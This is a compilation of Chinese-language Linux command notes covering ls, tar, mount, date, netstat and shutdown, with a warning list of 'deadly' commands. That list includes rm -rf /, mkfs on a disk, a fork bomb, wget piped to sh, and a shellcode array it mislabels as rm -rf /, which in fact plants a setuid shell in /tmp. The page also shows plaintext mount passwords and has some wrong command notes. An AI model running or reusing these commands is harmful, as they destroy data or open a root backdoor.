写下你职业生涯中最难以忘怀的误操作。。
http://www.dangkai.com/ArticlePage/Article59549.htm
http://bbs.chinaunix.net/thread-2076933-1-1.html
Linux常用命令全集
http://linux.chinaitlab.com/special/linuxcom/
http://ishare.iask.sina.com.cn/f/6018840.html?from=like
ftp://ftp5.chinaitlab.com/linux/Linux/Linux常用命令全集.rar
http://dl.iteye.com/topics/download/b8eec5a3-e413-3f76-b9b4-745f89159176
ftp://ftp5.chinaitlab.com/linux/Linux%B3%A3%D3%C3%C3%FC%C1%EE%C8%AB%BC%AF.rar
http://static.ishare.down.sina.com.cn/6370765.rar?ssig=wUSzQGl1VT&Expires=1350057600&KID=sina,ishare&ip=1349919975,221.226.47.&fn=Linux%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E5%85%A8%E9%9B%86.rar
7个致命的 Linux 命令
http://www.iteye.com/topic/787753
如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。
-
rm -rf /
此命令将递归并强制删除 / 目录下的所有文件。 -
这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
-
mkfs.ext3 /dev/sda
这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。 -
:(){ :|:& };:
著名的 fork bomp,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。 -
any_command > /dev/sda
使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。 -
wget http://some_untrusted_source -O- | sh
不要从不信任的地方下载东西,这可能会获取恶意代码。 -
mv /home/yourhomedirectory/* /dev/null
此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。
|
|
|
|
|
|
|
|
-
-
quotacheck | quotaoff | lndir | repquota | quotaon | |
-
-
ftpshut | ftpwho | ftpcount | |||
-
fsck.ext2 | fdisk | losetup | mkfs | sfdisk |
-
statserial | efax | pppsetup | tcpdump | ytalk | cu |
smbclient |
-
adduser | chfn | useradd | date | exit | finger |
fwhois | sleep | suspend | groupdel | groupmod | halt |
kill | last | lastb | login | logname | logout |
ps | nice | procinfo | top | pstree | reboot |
rlogin | rsh | sliplogin | screen | shutdown | rwho |
sudo | gitps | swatch | tload | logrotate | kill |
uname | chsh | userconf | userdel | usermod | vlock |
who | whoami | whois | newgrp | renice | su |
skill | w | id | free |
-
reset | clear | alias | dircolors | aumix | bind |
chroot | clock | crontab | declare | depmod | dmesg |
enable | eval | export | pwunconv | grpconv | rpm |
insmod | kbdconfig | lilo | liloconfig | lsmod | minfo |
set | modprobe | ntsysv | moouseconfig | passwd | pwconv |
rdate | resize | rmmod | grpunconv | modinfo | time |
setup | sndconfig | setenv | setconsole | timeconfig | ulimit |
unset | chkconfig | apmd | hwclock | mkkickstart | fbset |
unalias | SVGAText Mode |
-
ar | bunzip2 | bzip2 | bzip2recover | gunzip | unarj |
compress | cpio | dump | uuencode | gzexe | gzip |
lha | restore | tar | uudecode | unzip | zip |
zipinfo |
-
setleds | loadkeys | rdev | dumpkeys | MAKEDEV | |
-
http://g.51cto.com/linux/70501
摘录2009年的面试题,3000/月(2009-11-02 10:43:49 )的网工
1.基本的各种命令(查看系统时间、IP、创建用户、查看进程)
2.写出用什么软件可以实现以下服务(HTTP、FTP)
3.怎么样在LINUX下部署一套完整的邮件系统。使用什么软件,写出方法。
4.在LINUX下怎么样架设VPN?怎么样实现与XP和通信。
5.IPTABLES 可以做基于IP的访问控制吗?怎么样做写出具体步骤。
[root@wcs7web2 httplogs_f]# netstat -atpln | grep :80 | grep -v 127.0.0.1 | awk '{print $5}' | sort
[root@wcs7web2 httplogs_f]# iptables -V
iptables v1.3.5
[root@wcs7web2 httplogs_f]# iptables -I INPUT -s 192.168.134.153 -j DROP
[root@wcs7web2 httplogs_f]# iptables --list 或 iptables -L -n 或 iptables --list --numeric
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP all -- 192.168.134.153 anywhere
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
6.LINUX非正常关机后,怎么样可以把死机前的东西较多的保留下来。(命令)
7.写出3种以上的用与压缩、解压缩的软件。(LINUX)
Linux一句话精彩问答
http://bbs.chinaunix.net/viewthread.php?tid=16141
http://forum.ubuntu.org.cn/
http://irc.ubuntu.org.cn/irc.cgi
http://linsea.iteye.com/blog/262427
http://cdimage.ubuntu.com/releases/jaunty/alpha-1/jaunty-server-i386.iso
Linux网络命令
http://subject.lupaworld.com/200609/net/
telnet 登录到远程计算机上
r - 使用各种远程命令 rlogin rcp rsh
nslookup 查询域名和IP地址的对应
finger 查询某个使用者的信息
ifconfig 指令用来设定网路介面, 并可查询目前网路介面的设定情形, 报错可以用绝对路径 /sbin/ifconfig
http://wenke.iteye.com/blog/258004
ubuntu 快捷按键 >>>“System>Preferences>Keyboard Shortcuts”
http://blog.csdn.net/chenchao03/archive/2008/11/04/3219791.aspx
http://www.chinaunix.net/jh/9/707301.html
ubuntu tty/pty 注销 >>> Ctrl + D 或 logout
ubuntu GUI Shell注销 >>> kill process
ubuntu tty1-tty6切换 >>> Ctrl + Alt + [F1-F6]
ubuntu GUI-tty切换 >>> Ctrl + Alt + F7
ubuntu 系统注销 >>>Ctrl+Alt+Backspace
ubuntu 系统关机 >>>sudo halt 或 sudo init 0 或 sudo shutdown
ubuntu 系统重启 >>>sudo reboot 或 sudo shutdown -r now
ubuntu 系统睡眠 >>> NoteBook: Fn + F3 (toshiba pc)
ubuntu 系统唤醒 >>>NoteBook:"Power" Button
ubuntu 系统锁屏 >>>Ctrl+Alt+L
ubuntu 切工作台 >>>Ctrl + Alt +→/←
关机命令详解
http://blog.chinaunix.net/u1/51074/showart_402807.html
http://manpages.ubuntu.com/manpages/hardy/zh_CN/man8/shutdown.html#toptoc0
查看ubuntu 使用命令排行
history | awk ‘{a[$2]++ } END{for(i in a){print a[i] ” ” i}}’ | sort -rn | head
ubuntu password 密码丢解决
http://www.iteye.com/topic/64050
参考
http://komei.iteye.com/blog/119539
http://blog.chinaunix.net/u2/68232/showart_670744.html
管道 | 、重定向 > 、 >> 、 < 、后台运行 & 、序列执行 &&
192.168.200.81 >>>history |grep cjvf
apt-get 详解
http://www.linuxidc.com/Linux/2008-03/11912.htm
firefox 地址栏输入>>>apt:amsn 或apt:vim 等
1.列举本地更新
sudo apt-get update
2.安装可用更新
sudo apt-get upgrade
3.查询软件包
apt-cache search package_name
4.安装一个软件包
sudo apt-get install package_name
5.删除一个软件包
sudo apt-get remove package 或 sudo apt-get autoremove package
6.列举其他apt-get 命令
apt-get help
7.install/unstall .deb files
sudo dpkg -i package_file.deb ,sudo dpkg -r package_filename
8.convert .rpm to .deb files
sudo alien package
9.install tarballs
tar xfvz tarball_name
ls 详解
http://www.ownlinux.cn/2008/03/20/ubuntu-linux-ls/
http://coolife.org/2008/06/ubuntu-file-manager.html
##纵向分屏
lindows@lindows-laptop:~/linux_soft$ ls | more
##横向分屏
lindows@lindows-laptop:~/linux_soft$ ls || more
#列出详细且隐藏的文件
lindows@lindows-laptop:~/linux_soft$ ls -l -a
或
lindows@lindows-laptop:~/linux_soft$ ls -la
# 统计 /查询 当前目录 下 子目录 总 数
lindows@lindows-laptop:~/linux_soft$ ls -lF | grep / | wc -l
或
lindows@lindows-laptop:~/linux_soft$ ls -lF | grep '^d' | wc -l
# 列 出/查询 当前目录 下 不含目录 的所有文件
lindows@lindows-laptop:~/linux_soft$ ls -lF | grep '^[^d]'
http://www.bitscn.com/os/linux/201008/189165.html
查看当前目录下文件的个数 ls -l | grep "^-" | wc -l
查看当前目录下文件的个数,包括子目录里的。 ls -lR| grep "^-" | wc -l
查看某目录下文件夹(目录)的个数,包括子目录里的。 ls -lR| grep "^d" | wc -l
ls 格式:ls [参数] [文件/目录]
参数说明:
-a 表示列出所有的文件,包括以"."开头的隐藏文件
-d 如果其后接的是一个目录,则此只输出目录的名称
-l 表示以清单的形式列出文件的条目,包括文件的名称、权限、拥有者、大小、最后修改时间等
-t 表示列出的条目按最后修改的时间进行排序,默认是使用文件夹的名称来排序
-C 以文件的名称按列纵向排序
-F 在文件名后加一个符号来表示文件类型
-R 列出当前目录所有文件明细
下面我就给大家举几个例子来简单说明一下:
这就是ls和ls -a的区别,可以看到如果是用ls -a来查看就用看到以"."开头的隐藏文件
可以看到ls -l把当前目录下的upload.tar.gz 这个文件夹的属性都显示出来了
可以看到当前目录下的子目录后面多了一个"/"
这样我就把ls给才学习Linux的朋友们简单地介绍了一下,更多关于Linux的命令请看《Linux命令详解》
chmod 修改权限详解
http://www.oklinux.cn/html/Basic/cyml/20080322/49800.html
http://www.phpx.com/happy/thread-144821-1-1.html
Owner Group Other
--- --- ---
R W X R W X R W X
1 1 01 1 0 1 0 0===> 6 6 4 权限
Ower: 文件所有者
Group: 文件所属组别
Other: 其他
R: 读权限
W: 写权限
X: 执行权限
1: 有权限
0: 没权限
ubuntu_ownlinux_chmod_1
ownlinux@server:/var/www$ sudo chmod ugo rwx ownlinux
ownlinux@server:/var/www$ sudo chmod a rwx ownlinux
ownlinux@server:/var/www$ sudo chmod 777 ownlinux
查看当前目录的子目录:
ls -d */ 或 echo */
如:lindows@lindows-laptop:~/.local/share/Trash/files/linux_XP3$ ls -d */
ubuntu系统调节屏幕亮度
用toshiba 机器自带的“Fn+F6/F7”即可,ok.
ubuntu如何添加源和更新软件列表
http://wiki.ubuntu.org.cn/Qref/Source
http://wiki.ubuntu.org.cn/Template:8.04source
http://wiki.ubuntu.org.cn/添加其他软件库
>>>
#列出系统引导文件
lindows@lindows-laptop:/etc/apt$ ls /boot
lindows@lindows-laptop:/etc/apt$ cp /etc/apt/sources.list /etc/apt/source.list_backup2
cp: cannot create regular file `/etc/apt/source.list_backup2': Permission denied
lindows@lindows-laptop:/etc/apt$ sudo cp /etc/apt/sources.list /etc/apt/source.list_backup
lindows@lindows-laptop:/etc/apt$ sudo gedit sources.list
lindows@lindows-laptop:/etc/apt$ sudo apt-get update
>>>
http://linuxchinese.spaces.live.com/blog/cns!D2AFC088FD2AA096!114.entry
打开终端
先做个备份
sudo cp /etc/apt/sources.list /etc/apt/sources.list_bak
然后
sudo gedit /etc/apt/sources.list
加入源地址
deb ftp://ftp.sjtu.edu.cn/ubuntu/ feisty main restricted universe multiverse
deb-src ftp://ftp.sjtu.edu.cn/ubuntu/ feisty main restricted universe
PS:注释掉其他行(行首加上#),也可不操作
最后,更新你的软件列表
sudo apt-get update
http://wiki.ubuntu.org.cn/Ubuntu技巧
Linux Exercise
http://www.lupaworld.com/home/lupa.php?do=exercise
Linux Command
http://zhanglei14616-163-com.iteye.com/blog/215505
mount
http://tech.ccidnet.com/art/302/20060608/575235_1.html
http://blog.csdn.net/huajian2008/archive/2008/11/07/3244524.aspx
#把一个xxx.iso光盘镜像文件装入虚拟光驱
lindows@lindows-laptop:/etc/apt$ sudo mount -o loop xxx.iso /cdrom
lindows@lindows-laptop:/etc/apt$ sudo mount /dev/hda9 /media/hda9/
“ls -l -a”或“ls -la”
所有的命令从标准输入接受输入,输出结果显示在标准输出,而错误信息则显示在标准错误输出设备。
可使用重定向功能对这些设备进行重定向
命令在正常执行结果后返回一个0 值,如果命令出错可未完全完成,则返回一个非零值(在shell中可用变量$?查看)。 在shell script中可用此返回值作为控制逻辑的一部分。
linux挂载windows上的共享文件
http://lym6520.iteye.com/blog/356625
Windows文件映射到异种操作系统
http://www.haoxiai.net/caozuoxitong/linux/7601.html
Linux挂载Windows分区
mount ntfs分区
一.单机挂windows的NTFS分区
1. 上www.google.com搜索并下载 kernel-ntfs-2.4.18-14.i686.rpm
2. rpm -ivh kernel-ntfs-2.4.18-14.i686.rpm
3. mkdir /mnt/share
4. mount -t ntfs /dev/hda1 /mnt/share
要挂载Windows分区,首先新建一个目录/mnt/share,修改/etc/fstab,
在最末尾添上(假设Windows安装在硬盘的第1个分区)
/dev/hda1 /mnt/share ntfs defaults 0 0
二.网络上一台windows和linux机器,linux机器挂载windows上的共享文件
windows IP:192.168.1.1
1.linux挂载192.168.1.1(windows)上共享文件dbf,挂在linux的/mnt/share目录
下,在/mnt下建立share目录
mount -t smbfs -o username=massky,password=massky //192.168.
1.1/dbf /mnt/share
2.机器重启自动挂载,vi /etc/fstab最后加入:
//192.168.1.1/dbf /mnt/share smbfs defaults,auto,username=m
assky,password=massky 0 0
=======================================================================
三.linux机器挂载windows上的共享文件:
mount -o username=Administrator,password=123456 //192.168.7.130/floder /mnt/lym
机器重启自动挂载,vi /etc/fstab最后加入:
//192.168.1.1/floder /mnt/share defaults,auto,username=Administrator,password=123456 0 0
<strong>帮助命令: </strong>
man 获取相关命令的帮助信息
例如:man dir 可以获取关于dir的使用信息。
info 获取相关命令的详细使用方法
例如:info info 可以获取如何使用info的详细信息。
<strong>文件操作:</strong>
cat 显示文件内容和合并多个文件 如: [lindows@lindows ~]$ cat test.java index.html
cal 得到本月的日历 http://vsc.iteye.com/blog/561157
clear 清屏
chattr 改变文件属性
chgrp 改变文件组权
chmod 改变文件或目录的权限 http://www.oklinux.cn/html/Basic/cyml/20080322/49800.html
chown 改变文件的属权
comm 比较两个已排过序的文件
cp 将文件拷贝至另一文件
dd 从指定文件读取数据写到指定文件
diff 比较两个文本文件,列出行不同之处
du 统计目录/文件所占磁盘空间的大小
[root@lindows soft]# du -sh 或du -sh . //查看当前文件夹大小 GB显示
[root@lindows soft]# du -sm 或du -sm . //查看当前文件夹大小 MB显示
[root@lindows soft]# du -sk 或du -sk .//查看当前文件夹大小 KB显示
[root@lindows soft]# du -sh *//查看当前文件夹及文件大小
file 辨识文件类型
emacs 功能强大的编辑环境
find 搜索文件
如:当前目录查找*.txt (注意添加引号, 如果find多个文件, 需要用引号括起来. )
如:[root@localhost ~]# find ./ -name "*.txt"
Linux下find命令错误"find: paths must precede expression "
http://hi.baidu.com/edeed/item/7b5b8b0ea76fed103a53eeb0
grep 按给定模式搜索文件内容 误删文件不用怕 grep 命令帮你恢复
head 显示指定文件的前若干行
less 按页显示文件
ln 创建文件链接
locate 查找符合条件的文件
more 在终端屏幕按帧显示文本文件 纵向分屏>>> ls | more 横向分屏>>>ls || more
mv 文件或目录的移动或更名 example: [root@lindows ~] mv temp/ /mnt/temp/
rm/rmdir 删除文件/目录 如: 递归删除 rm -rf test 如: 删除空目录:rmdir test rm 参数:-i 先询问 -v 显示执行过程
sed 利用script来处理文本文件
sort 对指定文件按行进行排序 //vim 中如何利用系统的sort命令对数据排序
tail 显示指定文件的最后部分
// [loguser@b2clogbackup greplog]$ tail -n 10000 v4secondView.txt //显示最后1万行某系统日志
touch 创建文件
tr 转换字符
vi 全屏编辑器
wc 显示指定文件中的行数,词数或字符数
which 在环境变量 $PATH 设置的目录里查找符合条件的文件
<strong>压缩与备份:</strong>
bzip2/bunzip2 .bz2文件的压缩/解压缩程序
cpio 备份文件
gzip/gunzip .gz文件的压缩/解压缩程序
gzexe 压缩可执行文件
restore 还原由倾倒(Dump)操作所备份下来的文件或整个文件系统(一个分区)
unarj 解压缩.arj文件
zip/unzip 压缩/解压缩 zip文件如:unzip jdk1.5.zip //解压缩jdk1.5.zip文件到当前目录
zipinfo 列出zip压缩文件的详细信息
<strong>压缩与备份:</strong>
http://lvbo744.iteye.com/blog/241652
bzip2/bunzip2 .bz2文件的压缩/解压缩程序
cpio 备份文件
dump 备份文件系统
gzip/gunzip .gz文件的压缩/解压缩程序
gzexe 压缩可执行文件
restore 还原由倾倒(Dump)操作所备份下来的文件或整个文件系统(一个分区)
tar 将若干文件存档或读取存档文件 http://blog.csdn.net/zg_hover/archive/2008/06/14/2545673.aspx
unarj 解压缩.arj文件
zip/unzip 压缩/解压缩 zip文件
zipinfo 列出zip压缩文件的详细信息
.tar
解包:tar -xvf FileName.tar
打包:tar -cvf FileName.tar DirName
打包:tar -cvf FileName.tar /home/temp -C /home/test/ (打包到test目录)
打包:tar -cvf filename.tar /home/tt.txt (打包到当前目录)
tar -cvf filename.tar /home/t1.txt /home/t2.txt (指定打包路径打包到其他目录)
查看包tar -tvf filename.tar
---------------------------------------------
.gz
解压gz文件 :gunzip FileName.gz
解压gz文件 :gzip -d FileName.gz
压缩gz文件 :gzip FileName
.tar.gz
解压tar.gz 文件 :tar zxvf FileName.tar.gz -C /tmp/YourDirName
压缩tar.gz 文件 :tar zcvf FileName.tar.gz DirName
---------------------------------------------
.bz2
解压1:bzip2 -d FileName.bz2
解压2:bunzip2 FileName.bz2
压缩: bzip2 -z FileName
.tar.bz2
解压:tar jxvf FileName.tar.bz2
压缩:tar jcvf FileName.tar.bz2 DirName
---------------------------------------------
.bz
解压1:bzip2 -d FileName.bz
解压2:bunzip2 FileName.bz
压缩:未知
.tar.bz
解压:tar jxvf FileName.tar.bz
压缩:未知
---------------------------------------------
.Z
解压:uncompress FileName.Z
压缩:compress FileName
.tar.Z
解压:tar Zxvf FileName.tar.Z
压缩:tar Zcvf FileName.tar.Z DirName
---------------------------------------------
.tgz
解压:tar zxvf FileName.tgz
压缩:未知
.tar.tgz
解压:tar zxvf FileName.tar.tgz
压缩:tar zcvf FileName.tar.tgz FileName
---------------------------------------------
.zip
解压:unzip FileName.zip -d DirName
压缩:zip FileName.zip DirName
解压并覆盖:
[root@nginx2 catentries]# unzip catentries.zip -d ../
Archive: catentries.zip
replace ../catentries/00000000010012/000000000100121980/000000000100121980_ls1.jpg? [y]es, [n]o, [A]ll, [N]one, [r]ename: A
---------------------------------------------
.rar
解压:rar a FileName.rar
压缩:r ar e FileName.rar
---------------------------------------------
.lha
解压:lha -e FileName.lha
压缩:lha -a FileName.lha FileName
.rpm
解包:rpm2cpio FileName.rpm | cpio -div
---------------------------------------------
.tar .tgz .tar.gz .tar.Z .tar.bz .tar.bz2 .zip .cpio .rpm .deb .slp .arj .rar .ace .lha .lzh
.lzx .lzs .arc .sda .sfx .lnx .zoo .cab .kar .cpt .pit .sit .sea
解压:sEx x FileName.*
压缩:sEx a FileName.* FileName
gnu tar的1.26版本开始支持lzma和xz压缩,具体压缩实例如下:
Linux使用高压缩率的lzma和xz
http://blog.chinaunix.net/uid-291731-id-3029926.html
压缩
tar -c --xz -f my_archive.tar.xz /some_directory # results in my_archive.tar.xz
tar -c --lzma -f my_archive.tar.lzma /some_directory # results in my_archive.tar.lzma
解压缩
tar -x --xz -f my_archive.tar.xz # results in /some_directory
tar -x --lzma -f my_archive.tar.lzma # results in /some_directory
其中--xz可以用-J代替
更简洁的方式:
tar -cJf aaa.tar.xz my_dir
tar -xJf aaa.tar.xz
或者使用tar的选项"-a"自动识别压缩文件后缀的方式:
tar -caf aaa.tar.xz my_dir
tar -xaf aaa.tar.xz
如果你嫌tar.xz 太长了,可以使用txz。
由于受到Dos 8.3文件名格式的限制,tar常使用下列缩写:
.tgz等价于.tar.gz
.tbz与tb2等价于.tar.bz2
.taz等价于.tar.Z
.tlz等价于.tar.lzma
.txz等价于.tar.xz
继续补充:
查看tar包中的文件:
tar -aft 1.tar.xz
解压缩tar中单独的文件或者目录:
首先应用上面的命令查看tar包中的文件名和目录,然后使用-x解压缩命令
$tar -aft 1.tar.xz
1/
1/a.bin
1/b.bin
1/c.bin
$tar -axf 1.tar.xz 1/a.bin
即可解压缩单独的文件a.bin而不用把这个压缩文件全部解压开来
浅谈Linux下各种压缩 解压命令和压缩比率对比
http://blog.sina.com.cn/s/blog_407abb0d0100lajg.html
综合起来,在压缩比率上: tar.bz=tar.bz2>tgz>tar
耗费时间(打包,解压)
打包:tar.bz>tar.bz2>tgz>tar
解压: tar.bz>tar.bz2>tar>tgz
从效率角度来说,当然是耗费时间越短越好
因此,Linux下对于占用空间与耗费时间的折衷多选用tgz格式,不仅压缩率较高,而且打包、解压的时间都较为快速,是较为理想的选择。
如果对效率很关切,非常在乎时间的话,选择tgz tar的方式都不错。当然,如果disk空间较为紧张,非常在乎空间的话,选择高压缩比率的tar.bz2则更为适宜。
-----------------------------------------------------------------------------------------
结论:
再一次印证了物理空间与时间的矛盾(想占用更小的空间,得到高压缩比率,肯定要牺牲较长的时间;反之,如果时间较为宝贵,要求快速,那么所得的压缩比率一定较小,当然会占用更大的空间了)。
<strong>磁盘操作: </strong>
cd/pwd 切换目录/显示当前工作目录[lindows@localhost ~]cd - //显示以前访问目录路劲
df 显示磁盘的相关信息 http://unix-cd.com/unixcd12/article_3487.html
[lindows@localhost ~]$ df
[lindows@localhost ~]$ df -m
[lindows@localhost ~]$ df -h
[lindows@localhost ~]$ df -Th
[lindows@localhost ~]$ df -Th -t -ext3
[lindows@localhost ~]$ df -Th -x -ext3
[lindows@localhost ~]$ df -Tha
du 显示目录或文件的大小
e2fsck 检查ext2/ext3文件系统的正确性
fdisk 对硬盘进行分区
//linux下使用fdisk结合partprobe命令不重启系统添加一块新的磁盘分区
http://www.jb51.net/LINUXjishu/77021.html
fsck 检查文件系统并尝试修复错误
losetup 设置循环设备
ls 列出目录内容 http://www.ownlinux.cn/2008/03/20/ubuntu-linux-ls/
mkdir 创建目录
mformat 对MS-DOS文件系统的磁盘进行格式化
mkbootdisk 建立目前系统的启动盘
mke2fs 建立ext2文件系统
mkisofs 制作iso光盘映像文件
mount /umount 加载文件系统/卸载文件系统
http://bbs.chinaunix.net/archiver/tid-490398-page-1.html
http://forum.ubuntu.org.cn/viewtopic.php?f=35&t=51183&start=15
例如:
运行:"E:\Program Files\VMware\VMware Workstation\vmware.exe"--VM--Setting
--CD/DVD(IDE)--Use ISO image file:E:\lindows\software\RHEL_5.2_i386_DV.iso--OK
[root@localhost ~]# mount /dev/cdrom /media/cdrom
mount : block device /dev/cdrom is write-protected, mount ing read-only
-- 这个信息出来说明光驱已经挂载成功了。只是由于光盘是只读设备,不能写。ok
quota 显示磁盘已使用的空间与限制
sync 将内存缓冲区内的数据写入磁盘
tree 以树状图列出目录的内容
<strong>系统操作:</strong>
alias 设置指令的别名
chkconfig 检查,设置系统的各种服务 /chkconfig 和 systemctl 命令 https://fedoraproject.org/wiki/SysVinit_to_Systemd_Cheatsheet/zh
clock 调整 RTC 时间
date 显示或设置系统时间与日期
# 修改linux日期
[root@localhost ~]# date -s 03/04/2010
# 修改linux时间
[root@localhost ~]# date -s 21:55:00
For Linux Linux date 命令使用技巧
[root@Gman root]# date -d next-day +%Y%m%d
20060328
[root@Gman root]# date -d last-day +%Y%m%d
20060326
[root@Gman root]# date -d yesterday +%Y%m%d
20060326
[root@Gman root]# date -d tomorrow +%Y%m%d
20060328
[root@Gman root]# date -d last-month +%Y%m
200602
[root@Gman root]# date -d next-month +%Y%m
200604
[root@Gman root]# date -d next-year +%Y
2007
dmesg 显示开机信息
eval 重新运算求出参数的内容
exit 退出目前的shell
export 设置或显示环境变量 export LANG=C ; export DISPLAY=192.168.114.222:0.0
finger 查找并显示用户信息
free 显示内存状态
hostid 显示主机标识
hostname 显示主机名
id 显示用户标识
kill 删除执行中的程序或工作
last 列出目前与过去登入系统的用户相关信息
linux下如何查看最后登陆的几位用户的详细信息?
linux下怎么查看ssh的用户登录日志?
使用日志系统保护Linux安全
Linux日志系统分析
[root@lindows ~] less /var/log/secure
[root@lindows ~] less /var/log/messages
[root@lindows ~] last -a
在Linux系统中,有三个主要的日志子系统:连接时间日志 + 进程统计 + 错误日志
连接时间日志--由多个程序执行,把纪录写入到/var/log/wtmp和/var/run/utmp
login等程序更新wtmp和 utmp文件,使系统管理员能够跟踪谁在何时登录到系统
常用的日志文件如下:
access-log 纪录HTTP/web的传输
acct/pacct 纪录用户命令
aculog 纪录MODEM的活动
btmp 纪录失败的纪录
lastlog 纪录最近几次成功登录的事件和最后一次不成功的登录
messages 从syslog中记录信息(有的链接到syslog文件)
sudolog 纪录使用sudo发出的命令
sulog 纪录使用su命令的使用
syslog 从syslog中记录信息(通常链接到messages文件)
utmp 纪录当前登录的每个用户
wtmp 一个用户每次登录进入和退出时间的永久纪录
xferlog 纪录FTP会话
logout 退出系统
lsmod 显示已载入系统的模块
modprobe 自动处理可载入模块
passwd 设置用户密码 如:密码丢失解决:启动的时候选择recovery模式启动,然后passwd {user}就行了。
ps process status 报告程序状况
reboot 重启计算机
rhwo 查看系统用户
rlogin 远程登入
rpm 管理Linux各项套件的程序
top 显示,管理执行中的程序
1. top -p <进程号id> 输入:Shift O 再输入:选择可以显示的列字段展示
2. top + Shift M 以内存使用大小排列top列表
3. top + Shift P 以CPU使用大小排列top列表
文件:[root@localhost ~]# top_java.sh
内容:
#!/bin/sh # 用top查看java进程并自动记录到txt里 while(true) do top -b -n 1 | grep java >> top_$(hostname)_$(date %Y%m%d%H%M%S).txt; sleep 60; done;
uname 显示系统信息
userinfo 图形界面的修改工具
usermod 修改用户属性,包括用户的shell类型,用户组等,甚至还能改登录名
w 显示目前注册的用户及用户正运行的命令
whereis 确定一个命令的二进制执行码,源码及帮助所在的位置
who 列出正在使用系统的用户
whois 查找并显示用户信息
<strong>网络通信: </strong>
arp 网地址的显示及控制
ftp 文件传输
lftp 文件传输
mail 发送/接收电子邮件
mesg 允许或拒绝其他用户向自己所用的终端发送信息
mutt E-mail管理程序
ncftp 文件传输
netstat 显示网络连接、路由表和网络接口信息 netstat -ptln #查看当前连接端口
netstat -nat|grep -i ":22" | wc -l #查看当前连接情况 netstat -nat|grep -i ":22" #查看当前连接详细
pine 收发电子邮件,浏览新闻组
ping 向网络上的主机发送 icmp echo request 包
LINUX下的PING命令用什么参数可以让一个大于MTU值的数据包不分片??
Linux 常用網路指令介紹
局域网广播 10次,查询172.17.25.255网关内活动主机(单机双IP可能会打环,duplicate)
lindows@lindows-desktop:~$ ping -c 10 -b 172.17.25.255
ssh 安全模式下的远程登录
如:redhat远程连接redhat >>> [root@localhost tmp]# ssh -l -x root 192.168.121.22
telnet 远程登录 redhat linux 5上telnet的开启过程
talk 与另一用户对话
traceroute 显示到达某一主机所经由的路径及所使用的时间
或
traceroute + ping 一起的功能 mtr网络诊断工具
http://lvqingboy-163-com.iteye.com/blog/794804
[root@B2Cmonitor soft]# whereis mtr
mtr: /usr/sbin/mtr /usr/share/man/man8/mtr.8.gz
[root@B2Cmonitor soft]# mtr --help
usage: mtr [-hvrctglspni46] [--help] [--version] [--report]
[--report-cycles=COUNT] [--curses] [--gtk]
[--raw] [--split] [--no-dns] [--address interface]
[--psize=bytes/-s bytes]
[--interval=SECONDS] HOSTNAME [PACKETSIZE]
[root@B2Cmonitor soft]# mtr -v
mtr 0.71
wget 从网络上自动下载文件 , wget 使用技巧
http://linuxtoy.org/archives/wget-tips.html
http://javan.iteye.com/blog/684411
write 向其他用户的终端写信息
File
开放分类: 网络 、Linux命令
http://baike.baidu.com/view/32758.htm
英文原义:File Protocol
中文释义:本地文件传输协议
注解:File协议主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样。
应 用:要使用File协议,基本的格式如下:file:///文件路径,比如要打开F盘flash文件夹中的1.swf文件,那么可以在资源管理器或IE地址栏中键入:file:///f:/flash/1.swf并回车。
另:file也表示文件 。
LINUX 命令
file 命令
用途
确定文件类型。
语法
对文件类型分类
file [ -m MagicFile] [ -d ] [ -h ] [ -i ] [ -M File ] [ -f FileList] [File...]
检查 Magic 文件的格式错误
file -c [ -m MagicFile]
描述
file 命令读取用 File 参数或者 FileList 变量指定的文件,在每个文件上执行一系列测试,然后将它们按照类型分类。然后此命令将文件类型写入标准输出。文件可以是常规文件、目录、FIFO(指定的管道)、块特殊文件、字符特别文件、符号链接或者套接字类型。
* 对于长度为零的常规文件,将识别为空文件。
* 对于符号链接文件,缺省情况下此链接后跟符号链接引用的文件。
如果文件是 ASCII 码的格式,则 file 命令将检查前 1024 个字节然后确定文件类型。如果文件不是 ASCII 格式,则 file 命令将尝试区分二进制数据文件和包含扩展字符的文本文件。
如果 File 参数指定了可执行程序或者对象模块文件且版本号大于 0则 file 命令将显示版本戳记。ld 命令说明了 a.out 文件的使用。
file 命令使用 /etc/magic 来标识包含某种 magic 数字的文件;即,任何包含可以表示类型的数字或字符串常量的文件。
如果文件不存在,无法读取或者文件状态无法确定,那么文件将不看作会影响退出状态的错误。输出表明文件已被处理,但是类型仍无法确定。
当使用了 -i 标志时,应使用以下格式标识每个 file 指定的操作数:
"%s: %s\n", file, type
除非在 POSIX 语言环境,否则不指定 type 的值,如果 file 指定为下表中列出的类型之一,type 应包含(但不限于)对应字符串。在字符串中显示的每个空格应是一个空格。
表 1. File 实用程序输出字符串 如果 file 是: type 应包含字符串:
目录 目录
FIFO fifo
套接字 套接字
块特殊文件 块特殊文件
字符特别文件 字符特别文件
可执行文件(二进制) 可执行文件
空常规文件 空
符号链接 符号链接到
ar 归档库 压缩文档
扩展的 cpio 格式 cpio 压缩文档
扩展的 tar 格式 tar 压缩文档
Shell 脚本 命令文本
C 语言源 C 程序文本
FORTRAN 源 fortran 程序文本
如果 file 标识为符号链接,则应使用以下备用输出格式:
"%s: %s %s\n", file, type, contents of link"
